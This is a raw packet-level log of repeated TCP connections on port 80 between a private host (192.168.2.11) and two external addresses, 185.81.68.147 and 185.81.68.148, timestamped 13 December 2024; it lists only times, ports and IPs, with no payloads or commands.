Dec 13, 2024 08:20:14.482805014 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.482826948 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.482855082 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.482907057 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.486341953 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.486428976 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.486444950 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.486483097 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.486963987 CET	80	49964	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.487015009 CET	49964	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.490304947 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.490324020 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.490502119 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.490502119 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.493542910 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.493591070 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.493722916 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.493763924 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.497227907 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.497283936 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.497354984 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.497395992 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.500933886 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.500951052 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.500988960 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.501013041 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.504591942 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.504645109 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.504669905 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.504712105 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.508192062 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.508243084 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.508351088 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.508390903 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.511878014 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.511921883 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.511928082 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.511986971 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.515549898 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.515614986 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.606987953 CET	80	49964	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.952500105 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.072264910 CET	80	49968	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.072375059 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.128679991 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.220144033 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.248518944 CET	80	49968	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.339947939 CET	80	49969	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.340034008 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.364738941 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.484440088 CET	80	49969	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.488353014 CET	49959	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:15.488647938 CET	49970	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:15.490458965 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.490534067 CET	49960	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.490773916 CET	49971	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.608423948 CET	80	49970	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:15.608491898 CET	49970	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:15.608666897 CET	80	49959	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:15.608722925 CET	49959	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:15.610372066 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.610415936 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.610462904 CET	80	49971	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.610526085 CET	49971	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.610785007 CET	80	49960	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.610821009 CET	49960	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.628570080 CET	49970	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:15.628715992 CET	49971	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.668528080 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.748429060 CET	80	49970	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:15.748445034 CET	80	49971	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.788319111 CET	80	49972	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.788414955 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.805485010 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.910650969 CET	49973	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.925446033 CET	80	49972	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.986763954 CET	80	49964	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.986881971 CET	80	49964	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:15.986953974 CET	49964	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:15.990566015 CET	49964	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:16.030499935 CET	80	49973	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:16.030579090 CET	49973	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:16.063693047 CET	49973	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:16.106414080 CET	49975	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:16.110266924 CET	80	49964	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:16.183595896 CET	80	49973	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:16.226325989 CET	80	49975	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:16.226489067 CET	49975	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:16.226548910 CET	49975	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:16.346409082 CET	80	49975	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:16.346513987 CET	49975	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:16.425815105 CET	80	49968	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:16.426069021 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:16.466352940 CET	80	49975	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:16.736834049 CET	80	49969	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:16.736907959 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:16.961067915 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:16.961965084 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:16.971241951 CET	80	49970	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:16.971318960 CET	49970	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:16.972544909 CET	80	49971	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:16.972616911 CET	49971	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:17.081907988 CET	80	49977	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:17.082086086 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:17.082473040 CET	80	49978	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:17.082824945 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:17.091058016 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:17.091485023 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:17.125830889 CET	80	49972	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:17.125957966 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:17.171762943 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:17.210922003 CET	80	49977	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:17.211158991 CET	80	49978	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:17.291546106 CET	80	49982	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:17.291631937 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:17.293344975 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:17.363583088 CET	80	49973	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:17.363862038 CET	49973	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:17.413029909 CET	80	49982	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:17.416698933 CET	49983	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:17.536499977 CET	80	49983	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:17.536662102 CET	49983	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:17.545290947 CET	49983	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:17.665291071 CET	80	49983	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:17.915395021 CET	80	49975	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:17.915501118 CET	80	49975	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:17.915580988 CET	49975	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:17.916843891 CET	49975	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:18.028107882 CET	49984	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:18.036564112 CET	80	49975	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:18.147953987 CET	80	49984	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:18.148047924 CET	49984	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:18.148117065 CET	49984	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:18.268100023 CET	80	49984	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:18.268423080 CET	49984	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:18.388238907 CET	80	49984	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:18.471235991 CET	80	49978	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:18.474963903 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:18.502948046 CET	80	49977	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:18.503048897 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:18.624893904 CET	49970	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:18.625166893 CET	49987	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:18.625313044 CET	49971	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:18.625554085 CET	49988	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:18.626048088 CET	80	49982	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:18.626118898 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:18.745017052 CET	80	49987	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:18.745052099 CET	80	49970	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:18.745162964 CET	49970	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:18.745196104 CET	80	49988	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:18.745230913 CET	49987	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:18.745245934 CET	49988	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:18.745469093 CET	80	49971	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:18.745523930 CET	49971	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:18.747425079 CET	49987	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:18.747844934 CET	49988	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:18.867698908 CET	80	49987	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:18.867908955 CET	80	49988	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:18.870853901 CET	80	49983	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:18.870922089 CET	49983	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:19.751533031 CET	80	49984	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:19.751715899 CET	80	49984	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:19.751786947 CET	49984	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:19.781323910 CET	49984	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:19.887623072 CET	49992	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:19.901074886 CET	80	49984	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:20.007503986 CET	80	49992	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:20.007606030 CET	49992	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:20.010216951 CET	49992	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:20.080003977 CET	80	49987	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:20.080079079 CET	49987	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:20.082040071 CET	80	49988	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:20.082088947 CET	49988	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:20.129964113 CET	80	49992	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:20.130034924 CET	49992	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:20.249947071 CET	80	49992	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:21.422266006 CET	80	49968	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:21.422394991 CET	49968	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.455694914 CET	80	49992	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:21.455800056 CET	80	49992	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:21.455873966 CET	49992	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.457168102 CET	49992	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.559211969 CET	49996	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.576899052 CET	80	49992	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:21.661890984 CET	49987	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:21.662384987 CET	49998	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:21.672391891 CET	49988	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.672857046 CET	49999	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.680218935 CET	80	49996	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:21.680299997 CET	49996	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.680393934 CET	49996	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.735831976 CET	80	49969	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:21.735891104 CET	49969	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.782335997 CET	80	49987	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:21.782401085 CET	49987	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:21.782928944 CET	80	49998	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:21.783005953 CET	49998	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:21.792642117 CET	80	49988	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:21.792673111 CET	80	49999	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:21.792705059 CET	49988	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.792758942 CET	49999	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.800076962 CET	80	49996	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:21.800165892 CET	49996	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.807707071 CET	49998	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:21.807735920 CET	49999	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:21.919956923 CET	80	49996	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:21.927608013 CET	80	49998	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:21.927659035 CET	80	49999	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:22.126102924 CET	80	49972	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:22.126174927 CET	49972	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:22.376020908 CET	80	49973	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:22.376096964 CET	49973	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:23.121488094 CET	80	49998	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:23.121550083 CET	49998	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:23.159133911 CET	80	49999	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:23.159230947 CET	49999	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:23.306274891 CET	80	49996	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:23.306364059 CET	80	49996	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:23.306466103 CET	49996	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:23.307756901 CET	49996	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:23.418658018 CET	50003	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:23.427413940 CET	80	49996	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:23.469129086 CET	80	49978	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:23.470861912 CET	49978	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:23.516918898 CET	80	49977	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:23.517050028 CET	49977	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:23.538408995 CET	80	50003	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:23.538558006 CET	50003	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:23.538635015 CET	50003	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:23.641684055 CET	80	49982	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:23.641736984 CET	49982	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:23.658292055 CET	80	50003	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:23.658400059 CET	50003	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:23.778315067 CET	80	50003	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:23.859697104 CET	80	49983	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:23.859877110 CET	49983	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:24.847496986 CET	49998	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:24.847821951 CET	50006	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:24.852315903 CET	49999	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:24.852611065 CET	50007	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:24.967762947 CET	80	50006	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:24.967901945 CET	50006	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:24.968029976 CET	80	49998	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:24.968089104 CET	49998	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:24.972354889 CET	80	50007	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:24.972460985 CET	50007	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:24.972681999 CET	80	49999	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:24.972738028 CET	49999	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:24.992815971 CET	50006	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:24.992924929 CET	50007	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:25.112582922 CET	80	50006	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:25.112642050 CET	80	50007	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:25.134423018 CET	80	50003	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:25.134495974 CET	80	50003	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:25.134630919 CET	50003	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:25.135842085 CET	50003	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:25.246850014 CET	50010	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:25.255737066 CET	80	50003	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:25.366708040 CET	80	50010	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:25.366846085 CET	50010	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:25.366919994 CET	50010	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:25.486797094 CET	80	50010	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:25.486934900 CET	50010	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:25.606753111 CET	80	50010	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:26.302354097 CET	80	50006	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:26.302501917 CET	50006	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:26.314382076 CET	80	50007	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:26.314450026 CET	50007	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:26.961940050 CET	80	50010	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:26.961981058 CET	80	50010	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:26.962133884 CET	50010	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:26.977448940 CET	50010	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:27.091379881 CET	50013	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:27.097419024 CET	80	50010	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:27.211245060 CET	80	50013	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:27.211368084 CET	50013	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:27.212013960 CET	50013	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:27.332839966 CET	80	50013	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:27.332889080 CET	50013	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:27.452883959 CET	80	50013	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:27.896625042 CET	50006	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:27.897042990 CET	50017	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:27.897258043 CET	50007	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:27.897497892 CET	50018	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:28.016882896 CET	80	50017	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:28.016907930 CET	80	50006	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:28.016958952 CET	50017	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:28.016993999 CET	50006	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:28.017174959 CET	80	50018	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:28.017294884 CET	80	50007	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:28.017347097 CET	50007	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:28.020783901 CET	50018	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:28.102502108 CET	50017	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:28.102727890 CET	50018	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:28.222232103 CET	80	50017	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:28.222378969 CET	80	50018	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:28.816076994 CET	80	50013	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:28.816116095 CET	80	50013	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:28.816173077 CET	50013	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:28.817786932 CET	50013	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:28.918754101 CET	50020	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:28.937539101 CET	80	50013	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:29.038667917 CET	80	50020	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:29.038753986 CET	50020	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:29.038815022 CET	50020	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:29.159163952 CET	80	50020	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:29.159308910 CET	50020	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:29.279179096 CET	80	50020	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:29.361918926 CET	80	50017	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:29.362118959 CET	50017	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:29.379689932 CET	80	50018	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:29.379759073 CET	50018	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:30.632433891 CET	80	50020	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:30.632613897 CET	80	50020	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:30.632697105 CET	50020	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:30.633991957 CET	50020	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:30.746969938 CET	50025	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:30.753709078 CET	80	50020	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:30.867134094 CET	80	50025	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:30.867222071 CET	50025	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:30.867296934 CET	50025	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:30.987150908 CET	80	50025	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:30.987366915 CET	50025	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:31.100404978 CET	50017	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:31.100811958 CET	50026	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:31.107290983 CET	80	50025	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:31.220782995 CET	80	50026	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:31.220880032 CET	80	50017	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:31.220909119 CET	50026	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:31.220935106 CET	50017	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:31.223718882 CET	50018	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:31.224004984 CET	50028	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:31.224272013 CET	50026	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:31.344182014 CET	80	50028	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:31.344209909 CET	80	50026	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:31.344342947 CET	50028	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:31.344342947 CET	80	50018	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:31.344404936 CET	50018	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:31.354989052 CET	50028	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:31.475043058 CET	80	50028	185.81.68.147	192.168.2.11
